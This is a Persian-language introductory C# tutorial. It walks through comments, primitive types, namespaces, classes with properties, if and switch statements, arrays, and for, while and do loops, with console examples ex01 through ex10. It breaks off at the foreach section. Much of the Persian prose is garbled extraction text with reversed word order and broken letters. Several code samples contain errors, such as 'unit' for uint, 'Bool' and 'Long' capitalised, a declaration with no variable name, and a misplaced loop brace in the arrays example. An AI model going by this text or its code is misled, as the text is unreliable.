 می ++C ماننده شارپ سی در (Comments)توضيحات نوشتن ی طریقه .کند می توليد آنرا استودیو ویژوال خودکار صورت به چند
  : یعنی باشد

 
/* any comments */ 

  
  یا و
 

// any comments 
  
ا  برنامه خروجی در و کند می استفاده اهآن از خود ایه کد مورد در توضيحاتی نوشتن برای نویس برنامه اهتن و  فعلا  .شوند  نمی  رهظ

يم  می  استفاده ساده ی جمله یک نمایش برای آن WriteLine  متد و Console ء شی از اول قسمت پایان برای ه  راجع  .کن د  ب  ، اه  مت
  :باشد می زیر عبارت به شبيه چيزی ما ی برنامه آخر در .کنيم می صحبت بيشتر آینده در غيره و اه متغير

 
using System; 
namespace ex01 
{ 
class Class1 
{ 
[STAThread] 
static void Main(string[] args) 
{ 
Console.WriteLine("Hello C#!"); 
} 
} 
} 

  
   .شود اجرا برنامه تا يدهد فشار را F5  ی دکمه
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  :شارپ سی در ها متغير تعريف
 

اراکتر  و داعدا ماننده گيرد می بکار که را عناصری شارپ سی ه  ، اه  ک وع  صورت  ب ه  (Types) اه  ن دی  طبق د  می  بن ن  .کن واع  ای  ان
  : شوند می زیر موارد شامل

  
  .غيره و اعداد مانند شده تعریف پيش از ایی پایه ایه نوع
  .شوند می اهENUM  و اه STRUCT شامل که کاربر توسط شده تعریف ایه نوع

  
  : شده تعریف پيش از یای پایه ایه نوع از اه متغير تعریف ی نحوه

 
دا  شارپ  سی  در . شود می استفاده اطلاعات داریهنگ برای اه متغير از دانيد می که مانطوره وع  ابت ر  ن ام  سپس  و متغي ر  ن  در و متغي

  : مثال برای .شود می برده بکار کولون سمی یک آخر
 

int a; 
  
ه   .است دهش تعریف صحيح اعداد حاوی متغير یک بعنوان a  متغير اینجا در که ه  می هم ی نکت ا  در ک ائز  اینج دار  ، است  ميت ها ح  مق
ن  مه  امر این دليل . کند می متوقف خطا یک با را برنامه شارپ سی کامپایلر صورت ین ا غير در . باشد می اه متغير ی اوليه یهد  ای

  .یابد شهکا اجرا حين در ایهخطا ميزان تا شود جلوگيری برنامه طول در مقدار بدون ایهمتغير از استفاده از که است
 

  :ستنده ياهم فرض پيش صورت به شارپ سی در در زیر ی پایه ای داده ایه نوع
  

Object : مثال شود شامل نيز را دیگر انواع تمام تواند می که نامحدود است نوعی : 
 

object = null; 
  

string  :مثال  . باشد می یونيکد ایه کاراکتر توالی رشته یک اینجا در ؛ رشته: 
  

string s= "hello"; 
  

sbyte  :دار  علامت بيتی ٨ صحيح ایی داده نوع. 
  

byte  :مثال  .علامت بدون بيتی ٨ صحيح ایی داده نوع: 
  

sbyte val = 12; 
  

short : دار  علامت بيتی ١۶ صحيح ایی داده نوع. 
  

ushort  :مثال  .علامت بدون بيتی ١۶ صحيح ایی داده نوع: 
  

short val = 12; 
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int : دار  علامت بيتی ٣٢ صحيح ایی داده نوع.  

 
unit : مثال  .علامت بدون بيتی ٣٢ صحيح ایی داده نوع:  

  
int val = 12; 

  
long : دار  علامت بيتی ۶۴ صحيح ایی داده نوع.  

  
Ulong : مثال  .علامت بدون بيتی ۶۴ صحيح ایی داده نوع:  

  
Long val1 = 12; long val2 = 34L; 

   .استunsigned معنای به u اینجا در لاک
  
  

float  :با اعشاری نوع single precision.  
  

double  :با اعشاری نوع double precision  مثال: 
  

float val = 1.23f; 
  

bool  :ایی داده نوع Boolean تواند می که  true یا و  false مثال  .باشد:  
  

Bool val = true; 
  

char  :،اینجا  در کاراکترchar است یونيکد کاراکتر یک.  
  

char val = 'h'; 
  
 .کنيد دقت شارپ سی در اه رشته مچنينه و اه کاراکتر تعریف ی نحوه به
  

decimal  :دار معنی رقم 28با دسيمال ایی داده نوع  
  

decimal val = 1.23M; 
  
  

  : نکته یک
 

د  خواندن کار نگامه در تا شود انتخاب آن برای ا معنی ب نامی ، متغير یک تعریف نگامه است ترهب • اده  ک ر  س ردد  ت ين ه گ  مچن
رای  . کنند می اضافه متغير نام به خلاصه صورت به را متغير نوع که است شده رسم ال  ب ر هب FirstName بجای  مث  است  ت

 .گویند می Hungarian notationنگارش نوع این به strFirstName  بنویسيم
  .کرد يمهخوا صحبت مورد این در بيشتر آینده در . ستنده شی شارپ سی در شده تعریف فرض پيش ایه نوع تمام •

 
 : قسمت این مثال

  
ر  دو يمهخوا  می  اینجا در . نمایيد انتخاب ex02  ابتدا در آنرا نام .کنيد باز VS.NET را در جدید console ی برنامه یک  رشته  متغي
   :باشد می زیر صورت به اییهن کد  .يمهد نمایش خروجی در سپس و تعریف را صحيح و ایی

  
using System; 
namespace ex02 
{ 
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/// <summary> 
/// Summary description for Class1. 
/// </summary> 
class Class1 
{ 
/// <summary> 
/// The main entry point for the application. 
/// </summary> 
[STAThread] 
static void Main(string[] args) 
{ 
int intVar1 = 0; 
int intVar2; 
intVar2=1; 
int intV3=15 , intV4 = 12; 
string strText1 = "abcd"; 
Console.WriteLine( 
"The value for variables are : \n intVar1="+intVar1 + 
"\n intVar2="+ intVar2 + 
"\n intV3=" + intV3 + 
"\n intV4=" + intV4 + 
"\n strText1=" + strText1); 
Console.WriteLine("\n\n Press any key to terminate"); 
Console.ReadLine(); // pause screen! 
} 
} 
} 

  
  :فوق کد مورد در نکاتی

  
د  تعریف ی نحوه فوق کد رد. باشد  میnew line  معنای به سی از شده مشتق ایهزبان در ، ان اسلش کی • ر  چن  یک  در متغي

 .کنيد می ملاحظه را مختلف یهد مقدار یاهحالت و خط
  

 .کردیم  استفاده اینجا در آن ی دههمشا و خروجی داشتن نگه برای ReadLine  متد از •
  

د  خوانایی اینکار . بنویسيد کد دار دندانه صورت به کنيد ادتع • ر  صد  را ک د  می  براب ا  در . کن د  اینج د  داخل  ایه  ک  main  مت
 .هستند  تر جلو آن کردن بسته و باز ایه آکولاد از دندانه چند کاملا

 
 و تابع این زیاد ایهoverload  وجود دليله ب مورد این ! اند شده جمع مه با اه رشته و اعداد WriteLine متد در بالا کد در •

 مرتکب ی دیگر ایهجا در را اعمالی چنين اگر شارپ سی کامپایلر آینده در چون !نبندید دل آن به اصلا .است گشته ميسر ...
دیل  رشته به عدد باید حتما اه رشته با اعداد کردن جمع برای !! کرد دهخوا برخورد شما با شدت به شوید ردد  تب د  و گ  . ... بع
  .گردید دهخوا بحث بعدی مقالات در مورد این در

  
   .کرد يمهخوا صحبت بيشتر آینده در غيره وnamespace  و using و اهکلاس مورد در
 
  
  
  
  
  

   :Name Spacesبا فضا های نام آشنای 
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  : مقدمه

 
نا  کمی  شارپ  سی در گرایی شی ی اوليه اصول از سری یک با يمهخوا می قسمت این در ه  لازم . شویم  آش سياری  ، است  ذکر  ب  از ب

  .شد ندهخوا مرور و بحث بيشتر آینده در و است شما آشنایی برای فقط شوند می مطرح قسمت این در که مواردی
 

  (Name Spaces) :نام ایهفضا با آشنايی
  

 . دهند رخ شما برنامه در توابع ایه نام بين تداخلی تا اند شده ایجاد اهآن مثال برای . ستنده نویسی کد مدیریت برای روشی نام ایهفضا
د  داپي  را یکسانی  ایه  نام پروژه یک در آیتم دو است ممکن و دهد می نشان را خود بزرگ ایه پروژه در مساله این دین  . کنن يله  ب  وس
  :شود می عمل زیر صورت به نام فضای یک ایجاد برای . کند می پيدا شهکا تداخل و تصادم شانس این

 
namespace anyName 
{ 
…….. 
Class anyClassName 
{ 
………. 
} 
……. 
} 

 
ام  فضای  ، ورک فریم نت دات در ای پایه نام ایهفضا از یکی رای  .باشد  می System  ن تفاده  ب وان  می  آن از اس د  از  ت ر  ک  کمک  زی
  : گرفت

 
using System; 

  
ام  ضا  تم ام  ایهف ه  ن يش  صورت  ب ند  می public  فرض  پ د  از خارج  در و باش ل  شما  ک تفاده  روش . ستنده  دسترسی  قاب ه  اه آن از اس  ب

  :است زیر صورت
 

ProjectName.NameSpace.ClassName.MemberName 
  
  
  

اوس  کرسر که نگامیه باشيد کرده دقت اگر:  نکته  وی  در آیتمی  ره  روی را م د  می  نگه autocomplete من ا  و داری را  ی  آن
 چنين نوشتن روش. باشد می تابع آن به مربوط کامنت حقيقت در که شود می داده نمایش کوچک نمایهرا یک کنيد می انتخاب
 خاصيت یا تابع ره از قبل (!) است ترهب که است زیر صورت به شود رهظا استودیو ویژوال ایه منو در که ای حرفه کامنت

  شود نوشته .... و کلاس یا
 

///<summary> 
/// 
/// 
///</summary> 

  
  
  
  
  
  
  

 : ها کلاس
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 یک .باشيم داشته کافی تسلط اهآن از استفاده و تعریف ی نحوه مورد در باید بنابراین است اه کلاس با کارش و سر تمام شارپ سی چون
   .نمایيد واردex03 ابتدا در آنرا نام و کنيد باز VS.NET در console جدید ی پروژه

  
ایيم  اضافه را  clsDate.cs نام به جدید کلاسی تا کنيد انتخاب را Add class ی گزینه Project منوی از ، پروژه شدن باز از بعد  .نم

   : است زیر صورت به VS.NET توسط شده ایجاد فایل ساختار
 

using System; 
namespace ex03 
{ 
/// <summary> 
/// Summary description for clsDate. 
/// </summary> 
public class clsDate 
{ 
public clsDate() 
{ 
// 
// TODO: Add constructor logic here (chashm!) 
// 
} 
} 
} 

  
 که بار ره تابع این .دارد نام  (constructor)سازنده اصطلاحا است شده ایجاد فرض پيش صورت به اینجا در که clsDate متد یا تابع
ار  صورت  به سازیم می کلاس از جدید شی یک ن  از .شود  می  اجرا  خودک رای  يمهخوا  می  کلاس  ای ایش  ب اریخ  نم ره  و ساعت  /ت  غي

ن  از خاصيت یک صورت به را سيستم جاری تاریخ يمهخوا می مثال برای .کنيم استفاده يم  دریافت  کلاس  ای رای  . کن ن  ب د  رمنظو  ای  ک
  :نمایيم می اضافه برنامه به را زیر

 
public string currentSystemDate 
{ 
get 
{ 
return System.DateTime.Today.ToString() ; 
} 
} 

  
  : فوق کد توضيح

  
  روجیخ برگرداند قسمت این که چيزی ره . نمایيم می معرفیget  کليدی ی کلمه با کنيم دریافت برنامه از يمهخوا می که را خاصيتی

currentSystemDateبکار و تعریف صورت یک به جا مهه در و است استاندارد شد معرفی بالا در که زبان دستور این . بود دهخوا 
  .بسپارید خاطر به آنرا شکل پس .شود می برده

  
تفاد  برای .شود می استفاده تابع یا و خاصيت از خروجی یک برگرداندن برایreturn  کليدی ی کلمه از ن  از هاس د  خاصيت  ای  در ، جدی
  : کنيم می عمل زیر صورت به دارد قرار آنجا در ما ی برنامهmain  متد که Class1.cs فایل

 
clsDate m_var = new clsDate(); // initialize variable 
Console.WriteLine ( m_var.currentSystemDate ); 
Console.ReadLine();//pause! 

  
  : فوق کد توضيح
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ر  یک باید کلاس یک از استفاده رایب يم  تعریف  را آن از متغي انی  ره  در . کن وع  سری  یک  زب تاندارد  ایه  ن د  اس  وstring و int مانن

رای  . آید می شمار به قدرتمند بسيار بسيار ی داده نوع یک حقيقت در مه کلاس . دارند وجود غيره ر  یک  تعریف  ب وع  از متغي د  ن  جدی
  : شود می عمل زیر صورت به کنيد می عریفت را صحيح عدد متغير یک که زمانی مثال برای . است سابق مانند کار روش

 
int i=0; 

  
  .شود عمل صورت مينه به باید نيز ایم کرده تعریف خودمان که ای داده نوع از متغير یک تعریف برای

 
clsDate m_var = new clsDate(); 

  
 به دستيابی روش به سپس .نمایيم می استفاده جدید متغير این به اوليه یهد مقدار برای ارداستاند صورت به اینجاnew کليدی ی کلمه از
  .رسيم می ایم کرده اضافه کلاس به که خاصيتی این

 
m_var.currentSystemDate 

  
ر  نام ذکر از پس نقطه گر عمل از آن به دستيابی برای نمایيم اضافه کلاس به را متد یک یا و خاصيت یک چه کلا  از شده  تعریف  متغي
ایيم  می استفاده ، خود کلاس نوع رای  . نم تفاده  ب ازی  اه  خاصيت  از اس ه  ني د  () آوردن ب ام  ذکر  از بع ا  .باشد  نمی  خاصيت  ن  از عموم

  .باشد نمی نظر مد ای پيچيده عمليات اهآن در و شود می استفاده ساده مقدار یک تنظيم یا و برگرداندن برای اه خاصيت
  

  : ; () System.DateTime.Today.ToString مورد در توضيحی
 
  

  : خواص از استفاده
  
  

 به دسترسی امکان که است عضوی  property یک . کنيد پيدا دسترسی توانيد می آن خواص از استفاده با شی یک ایه ویژگی به شما
ایز  (string) رشته یک طول مثال برای . کند می مهفرا را کلاس یا شی ویژگی وان  ، فونت  یک  ، س رم  یک  عن ام  و ف  مصرف  یک  ن
  . ستنده خاصيت ، کننده

  
د  نظر در را DateTime شی مثال برای . دارند مراهه به را زیادی مفيد خواص ، ورک فریم نت دات ذاتی اشيا از بسياری ا  . بگيری  ب
 تعریف کلاس تا است لازم خاصيت  یک زا استفاده برای . آورد بدست را سيستم جاری تاریخ توان می آن Today خاصيت از استفاده
ام  فضای  کردن  وارد از پس . باشد می مربوطه نام فضای از استفاده مانه منظور . باشد ياهم برنامه در شی کننده ورد  کلاس  ن  نظر  م
   . کنيد استفاده آن خواص و شی از توانيد می

  
ا  دارد وجود راه دو ه  ی ام  کامل  صورت  ب وارد  تم د  م د ما شوند  ذکر  بای ا  و;System.DateTime.Now نن ا  ی ام  فضای  کردن  وارد ب  ن

Systemد  شارپ سی در ایی شی یا و متد ره از استفاده برای  .گيرد می صورت سازی کوتاه ن  بای ل  شی  ای رای  . باشد  دسترسی  قاب  ب
تفاده  نمایش ی صفحه روی بر خروجی کردن چاپ برای آن از که Console شی مثال يم  می  اس ا  فضای  در کن ع  System من  شده  واق
تفاده  شی این از راحت خيلی سپس و ; using System کرد ذکر برنامه ابتدای در باید یا .است رد  اس ا  و ک وان  می  ی ام  را اینکار  ت  انج
  . کرد  نویسی خلاصه توان می usingاستفاده از  با ابتدا در نام فضای ذکر با . آخر الی و System.Console نوشت و نداد

  
  : فصل این مثال اییهن ی نتيجه

 
   :Class1.cs  فایل حتویاتم
  

using System; 
namespace ex03 
{ 
/// <summary> 
/// Summary description for Class1. 
/// </summary> 
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class Class1 
{ 
/// <summary> 
/// The main entry point for the application. 
/// </summary> 
[STAThread] 
static void Main(string[] args) 
{ 
clsDate m_var = new clsDate(); // initialize variable 
Console.WriteLine ( m_var.currentSystemDate ); 
Console.ReadLine();//pause! 
} 
} 
} 

  
   :کردیم اضافه برنامه به کهclsDate.cs  فایل محتویات

 
using System; 
namespace ex03 
{ 
/// <summary> 
/// Summary description for clsDate. 
/// </summary> 
public class clsDate 
{ 
public clsDate() 
{ 
// 
// TODO: Add constructor logic here 
// 
} 
public string currentSystemDate 
{ 
get 
{ 
return System.DateTime.Today.ToString() ; 
} 
} 
} 
} 

  
  
  
  
  
  
  
  
  
  

  : گيری يمتصم ساختارهای
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 . دارد وجود عمده روش دو اینکار انجام برای . کنيم استفاده شرطی عبارات از تا است لازم نویسی برنامه نگامه موارد از بسياری در

تفاده  کوچک و تکی اییه مقایسه برای بيشترif  از switch  یا و if از استفاده سه  حاصل  و شود  می  اس ا  آن ی مقای ا  و است  true ی   ی
false عبارت از  switchگيرد صورت مقدار یک مورد در باید متعددی ای همقایسه که شود می استفاده نگامیه.  

  
ارت  دو ره ارت  توسط  switch  و if عب رل  Boolean  اییه  عب ا  و true شوند  می  کنت ام ه در false ی تفاده  نگ ارت  اگر  if از اس  عب

Boolean اش حاصل true  ایهانت از برنامه سپس و شود یم اجرا شرط قسمت اولين باشد  if ارت  حاصل اگر .کند می پيدا ادامه   عب
Boolean مساوی false قسمت به برنامه کنترل باشد  else شود می منتقل.   

  
  : مثال

  
   : کنيد جرا و وارد آن در را زیر کد سپس .بگذاریدex04  آنرا نام و کنيد ازب console  جدید ی پروژه یک

  
using System; 
namespace ex04 
{ 
class Class1 
{ 
[STAThread] 
static void Main(string[] args) 
{ 
Console.WriteLine("Enter 1 character to be evaluated"); 
char cUserInput = (char) Console.Read(); 
if ( char.IsDigit( cUserInput ) ) 
Console.WriteLine("The char is a number!"); 
else 
Console.WriteLine("The char is not a number!"); 
} 
} 
} 

  
  : فوق کد مورد در نکاتی

  
 .کند می فرق cUserinput  با cUserInput مثال برای . است حساس حروف بزرگی و کوچکی به شارپ یس •

  
   .گردد ذکر اهپرانتزif از بعد باید تماح •

  
  if( x>5 . (مانند شود ذکر  Boolean عبارت یک if  داخل باید تماح •

  
  

ه  ستنده مواردی ۴ و ١ موارد ( شود می انجام = با انتساب و == با عبارت دو تساوی ی مقایسه شارپ سی رد • ازه  اغلب  ک  ت
 .ندارد معنایی شارپ سی در if(i=3) اما است صحيح if(i==3 ) مثال برای ) دارند مشکل آن با کاران

  
 خط  یک از بيش که باشد می اه آکولاد به نياز نگامیه . نيست اه آکولاد آوردن به زینيا گيرد قرار کد خط یکif از بعد گرا •

   .گيرد قرارif از بعد باید
  

د ه شارپ  سی  رد • رای  خودش  اسلاف  مانن دیل  ب وع  تب ی  داده ایه  ن وان  می  ای ه  ت ر  صورت  ب ز  زی رد  عمل  ني  (char)ک
Console.Read() ; دریافتی یعنی Read به  charشد دهخوا صحبتهم  باز مورد این در. شود می تبدیل. 

  
تفاده  با char  مانند ایی پایه ایه نوع حتی است شی چيز مهه شارپ سی در شد ذکر که مانطوره • د  از اس  می  آن IsDigit مت

  )شد  دهخوا صحبت اه متد مورد در ( خير؟ یا است عدد آن ورودی آیا که کرد چک توان
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   switch :از استفاده
 
 . کنيد باز VS.NET در console  حالت در ex05  نام به جدیدی شارپ سی ی پروژه .کنيم دنبال مثال یک با را مورد نای است ترهب

 چه سيستم مطابق جاری روز شویم متوجه کنيم می ایجاد آن در که خاصيتی توسط و کرده تعریف جدید کلاس یک يمهخوا می اینجا در
  . است روزی

  
 .بگذارید clsDate ابتدا در آنرا نام و کنيد اضافه برنامه به Add class ی گزینه از استفاده ،با وژهپر منوی از جدید کلاس یک

 
using System; 
namespace ex05 
{ 
/// <summary> 
/// Summary description for clsDate. 
/// </summary> 
public class clsDate 
{ 
public clsDate() 
{ 
// 
// TODO: Add constructor logic here 
// 
} 
public string systemDayOfWeek 
{ 
get 
{ 
string res=""; 
switch( System.DateTime.Now.DayOfWeek.ToString()) 
{ 
case "Saturday" : 
res = "شنبه" ; 
break; 
case "Sunday" : 
res = "یک شنبه" ; 
break; 
case "Monday": 
res = "دوشنبه" ; 
break; 
case "Tuesday": 
res = "سه شنبه" ; 
break; 
case "Wednesday": 
res = "چهار شنبه" ; 
break; 
case "Thursday": 
res = "پنج شنبه" ; 
break; 
case "Friday": 
res =  "جمعه" ; 
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break; 
} 
return res ; 
} 
} 
} 
} 

  
  
ام ه ره  نگ ن  کردن  ذخي د  ای ژوال  ک ه  استودیو  وی ه  ده د می  اخطار  شما  ب د  ک وی  از . است  یونيکد  روفح  دارای ک ل ف من ه  ای   ی گزین

advanced save optionsرد  انتخاب یونيکد را سازی ذخيره نوع توان می اینجا در .کنيد انتخاب را رای   .ک تفاده  ب وق  کلاس  از اس  ف
  : کنيم می عمل شد گفته قبل قسمت در که مطالبی مانند

 
using System; 
namespace ex05 
{ 
class Class1 
{ 
[STAThread] 
static void Main(string[] args) 
{ 
clsDate m_var = new clsDate(); 
Console.WriteLine( m_var.systemDayOfWeek ); 
Console.ReadLine(); 
} 
} 
} 

  
ده  در و است  مه م ما برای برنامه اصل ولی کند نمی پشتيبانی را یونيکد console  حالت چند ره شتر  آین تفاده ا آن از بي رد  يمهواخ  س  .ک
تفاده  switch از اگر کردید ملاحظه که مانطوره د  شد  نمی  اس تفاده if عدد  ٧ از بای د  می  اس ه  گردی ا  صلا  ا ک ه  رهظ  شکيلی  و ای حرف

 توسط سپس . گردد میswitch  ی بدنه وارد و شده یافت در سيستم روز . شود می شروع مقایسه کار زیر عبارت از استفاده با !نداشت
case از بعد عبارت با آن تساوی تا شود می چک اه  caseبرسد اثبات به.   

 
switch( System.DateTime.Now.DayOfWeek.ToString()) 

  
ام  است انتساب اینجا در که آن از پس کار بودند صحيح دام  ره  اگر  case سپس  و شده  انج ارات  از ک د  عب رل   break توسط  از بع  کنت
ه  ه اد و شود  می  خارج switch  از برنام ار  ی ام ال  ک ردد  می  دنب دام ه اگر  .گ و  صحيح  case از يچک د  نب وان  می  دن ه  از ت  ایه  گزین

defaultگردد می اجرا مواقعی چنين یک در حالت این . کرد استفاده نياز صورت در مه.  
 
  
  
  
  
  
  
  
  
  
  

  : شارپ سی در ها آرايه
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ه  شوند  می ایجاد اه آرایه نگامیه ا  يمهبخوا  ک ار  مجنس ه اطلاعات  از ای مجموعه  ب يم  ک رای  . کن ه  ب ه  یک  از نمون رای  آرای ره  ب  ذخي
دار  و تعریف  باید پس ستنده متغير نوع یک مه اه آرایه . نمایيم استفاده يمهخوا می کاراکتر تعدادی ه  یه د مق وع  ، شوند  اولي داد  و ن  تع
 . کنيم ذخيره را اهآن يمهخوا می و ) (string)رشته مثال برای( داریم  جنس مه ی داده ١٠ کنيد فرض .گردد معين باید نيز اهآن اعضای

 ایه خانه در سپس و نمود تعریف آرایه یک یا و نمود یهد مقدار را اهآن تک تک سپس و کرد تعریف را مختلف متغير ١٠ توانمی  یا
داد  ام  مرتبط نوعی به و مجنسه ایه داده که شود می ميتها حائز زمانی مطلب این . چيد را عضو ده این آن مختلف ادی  تع  داشته  زی
   .باشند

  
  : دارد وجود مختلف راه چندین آرایه تعریف رایب
 

 !ندارد چرا چون و است زبان دستور این بگذارید نوع تعریف جلوی باید را [] سپس کنيد می مشخص آنرا نوع ابتدا آرایه تعریف برای
ر  یک  نام اینجا در سپس و .دندآم می متغير نام از بعد اه کروشه این .بود متفاوت کمی سی زبان در ه  را متغي دا  ک ه  بع  می  اعارج  آن ب
   :مثال برای .گذاشت يدهخوا يمهد
 

int[] table; // not int table[]; 
  
ایين  حد ه  پ وده  صفر  آرای رای  ب ال  ب ه  اگر  مث ين  باشد،  داشته  عضو  ده []chrData  آرای  آن عضو  آخرین  وchrData[0] آن عضو  اول

chrData[9] است .  
  
  

م  اجازه  ما که است خالی ی خانه چند حاوی آرایه یک یعنی .است آن ی اندازه است مهم خيلی اه آرایه مورد در که دیگری مطلب  داری
 : مثال .کنيم پر آنرا

  
int[] numbers; // declare numbers as an int array of any size 
numbers = new int[10]; // numbers is a 10-element array 
numbers = new int[20]; // now it's a 20-element array 

  
 .آن اوليه یهد مقدار و اه رشته از ای آرایه تعریف -١
  

String[] strData = new string[2]; 
 
  اوليه یهد مقدار و تعریف -٢
 

string [] strData = { "1234","abcd" }; 
  
 تعيين به نيازی حالت این در . است شده ایجاد اوليه یهد قدارم با عضو ٢ طول به ای رشته نوع از ای آرایه که

  .باشد نمی آن طول
  
  اوليه یهد مقدار برای دیگر روشی -٣
 

strData[0] = "1234"; 
strData[1] = "abcd"; 

  
 با کار ی نحوه يمهخوا می مثال این در . بگذاریدex06  ابتدا در آنرا نام و کنيد باز را شارپ سی Console  جدید ی پروژه یک : مثال
  : کنيم مرور را اه آرایه

 
using System; 
namespace ex06 
{ 
class Class1 
{ 
[STAThread] 
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static void Main(string[] args) 
{ 
string[] sGoalList = new string[3]; 
string sReplyStatement = "You have choosen Goal '"; 
// Store goals in the array 
sGoalList[0] = "Hike the Appalachian Trail"; 
sGoalList[1] = "Run the marathon"; 
sGoalList[2] = "Give $1 million to worthwhile causes"; 
// Store response to goals in the array 
//(declaring and initializing on same line) 
string[] sGoalResponse = { 
"If you are staring from GA, you should get " 
+ "started in early spring, so you will "+ 
"not get caught in snow.", 
"Make sure that you have a good pair of shoes.", 
"Start saving as soon as possible."}; 
// Give the user a list of goals to choose from 
Console.WriteLine("GOAL LIST"); 
for(int i = 0; i < sGoalList.Length; i++) 
{ 
Console.WriteLine("Goal " + i + 
" - " + sGoalList[i]); 
// Request the user to choose a goal. 
Console.WriteLine (""); // Write an empty line for space 
Console.Write("Please choose the number of the " 
+ "goal that you want to achieve [0,1,2]: "); 
Console.ReadLine(); 
} 
} 
} 

  
  

  : فوق کد مورد در نکاتی
  

  .دید توان می فوق کد در بلند ایه رشته اتصال برای را + گر عمل از استفاده ی حوهن •
 

  .ندارد وجود دستور کی شدن خطی چند مورد در نگرانی بنابراین . باشد می کولون سمی خط پایان شارپ سی رد •
 

د  می اوليه یهد مقدار ، اه آکولاد درون مقادیر با را ای آرایه که نگامیه • دارد  لزومی  کني ه  آن طول  ن د  مشخص  را آرای  ؛ کني
 آن خالی  ایه  خانه تعداد معرف که را آرایه یک طول باید حتما اینصورت غير در .الا ب درsGoalResponse  آرایه مانند
   sGoalList .آرایه مانند يدکن معرفی ، است

  
   .کنيم صحبت آن به راجع بعدی ی مقاله در تا باشيد داشته بخاطر مثال این در راfor ی حلقه علاف •

  
  
  
  
  
  

 : شارپ سی در ها حلقه
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  : مقدمه

 
ال  برای . باشد می اه حلقه از استفاده به نياز شود اجرا یکبار از بيش کد از ای قطعه تا باشد نياز اگر د  فرض  مث ه  کني ه  ای آرای  طول  ب

  ! :نيست  کارآمد زیر روش که است یهبدی . کنيد پر متوالی عدد زاره با آنرا يدهخوا می اکنون . اید کرده تعریف ١٠٠٠
  
 

int[] intData = new int[1000]; 
intData[0]=0; 

. 

. 

. 
intData[999]=1000; 

  
 شود می حس ای وسيله به نياز بنابراین ! کشد می طول ساعت نيم حداقل آن حاصلا و پيست و کپی با احتمالا متوالی خطوط این نوشتن

 مانند متعددی ایهابزار اه حلقه تعریف برای : اهآن از استفاده و اه حلقه تعریف .داد انجام را اهکار اینگونه امثال آن ی بوسيله بتوان که
while, do , for , foreachساله  یک  حال ره در . دارد برنامه منطق و شما ی سليقه به بستگی اهنآ انتخاب و استفاده . دارند وجود  م

  .داشت دهخوا وجود مساله یک برای حل راه یک از بيش موارهه که است یهبدی
 

  for :ی حلقه از استفاده
  

ابراین  !آموخت توان می نویسی کد با را کدنویسی عموما ورد  در بن واع  م ه  ان ه  اییه مثال اه  حلق د گ ده خوا ارائ ه  یک  .ردی  سی  ی برنام
  : بنویسيد آن درون را زیر کد سپس . نمایيد انتخابex07  درابتدا آنرا نام و کنيد باز VS.NET در را console جدید شارپ

 
using System; 
namespace ex07 
{ 
class Class1 
{ 
[STAThread] 
static void Main(string[] args) 
{ 
int[] intData = new int[1000]; 
for (int i=0 ; i<1000 ; i++ ) 
intData[i]=i; 
for(int i=0 ; i< intData.Length ; i++) 
{ 
int j = intData[i]; 
Console.WriteLine("intData[" + i + "]=" + j); 
} 
Console.ReadLine(); 
} 
} 
} 

  
  : فوق کد مورد در توضيحاتی

  
ا  0 از اینجا ( حلقه اجرای بار تعداد دبای بينيد می که مانطوره و  for ی حلقه تعریف رایب • ين   ) است  999 ت  ی نحوه و همچن

  ) .شود می اضافه حلقه گر شمارشبه  واحد یک بار ره یعنی است ++i اینجا در ( کرد مشخص را 1000  به 0 از رسيدن
 

  .... مثال برای . ترتيب مينه به و i=i-n  یعنی i-=n  کلا و i=i+1  یعنی ++i سی زبان رد •
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 به مربوط خطوط تعداد اگر لیو ) کد اول قسمت مانند ( نيست آکولاد به نيازی باشيم داشته کد خط یک for ی حلقه از پس را •

 از شده مشتق ایهزبان در است کلی ای قاعده این . کد دوم قسمت مانند . شود استفاده آکولاد از حتما باید بود زیاد for  ی بدنه
 .چيزی  ره مورد در سی زبان

 
 می زیرا . شدید می مواجه اجرا زمان خطای یک با سریعا . ١٠٠١ نوشتيد می ١٠٠٠ بجای بالا کد اول قسمت در کنيد رضف •

درن  راه . است  نشده تعریف که کنيد پيدا دسترسی آرایه از عضوی به خواستيد ن  کردن  چک  م سائل  ای تفاده  م  خاصيت  از اس
Length کنيد استفاده روش این از ميشهه .نمایيد می دههمشا عمل در کد دوم قسمت در که است آرایه. 

 
   .بده انجام (++i) یکی یکی  999 تا صفر از را intData  آرایه کردن پر کار اینکه یعنی اول ی لقهح •

 
 

  while :ی حلقه از استفاده
  

 آن درون را زیر کد سپس . نمایيد ابانتخex08  ابتدا در آنرا نام و کنيد باز VS.NET در را console جدید شارپ سی ی برنامه یک
  : بنویسيد

 
using System; 
namespace ex08 
{ 
class Class1 
{ 
[STAThread] 
static void Main(string[] args) 
{ 
int n = 1; 
while (n < 6) 
{ 
Console.WriteLine("Current value of n is {0}", n); 
n++; 
} 
Console.ReadLine(); 
} 
} 
} 

  
  : فوق کد مورد در یتوضيحات

  
 یعنی .باشد برقرار و صادق آن ابتدای در شده ذکر شرط که دهد می انجام نگامیه تا را حلقه انجام کار بالا درwhile  ی لقهح •

   .یافت دهخوا ادامه حلقه این استn< 6  وقتی تا فوق ی حلقه در
  

  .شود اجرا است ممکن بار بيشتر یا صفرwhile  ی لقهح •
  

ه  دهد می را اجازه این شما به WriteLine متد . است گردیده استفاده {0 } از فوق کد رد • ا  n  ک ان  ت رای  آرگوم  تعریف  آن ب
ن  در . کنيد استفاده {x}از يدهد نمایش کد در خواستيد که را کدام ره مقادیر و کنيد ورد  ای دار  م ان  مق ایش  ام x  آرگوم  داده نم
  .شود می

  
  

  do :ی حلقه از استفاده
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 آن درون را زیر کد سپس . نمایيد انتخابex09  ابتدا در آنرا نام و کنيد باز VS.NET در را console جدید شارپ سی ی برنامه یک
  : بنویسيد

 
using System; 
namespace ex09 
{ 
class Class1 
{ 
[STAThread] 
static void Main(string[] args) 
{ 
int x; 
int y = 0; 
do 
{ 
x = y++; 
Console.WriteLine(x); 
}while(y < 5); 
Console.ReadLine(); 
} 
} 
} 

  
 : فوق کد مورد در توضيحاتی

  
  .گردد ذکر باید آن جزء دو ره و است معروفdo…while ی حلقه به حلقه ینا •

  
  .یابد می ادامه است صحيح while  تمقس در شده ذکر شرط که زمانی تا حلقه ینا •

  
  ).نمایيد  اجرا را زیر مثال ( شود می اجرا یکبار حداقل while قسمت به توجه بدون کار ابتدای در حلقه ینا •

  
int n = 10; 
do 
{ 
Console.WriteLine("Current value of n is {0}", n); 
n++; 
} while (n < 6); 

  
  foreach :ی حلقه از استفاده

  
ر  کد سپس . نمایيد انتخابex10 بتدا در نراآ نام و کنيد باز VS.NET در را console  جدید شارپ سی ی برنامه یک  آن درون را زی

  : بنویسيد
 

using System; 
namespace ex10 
{ 
class Class1 
{ 
[STAThread] 
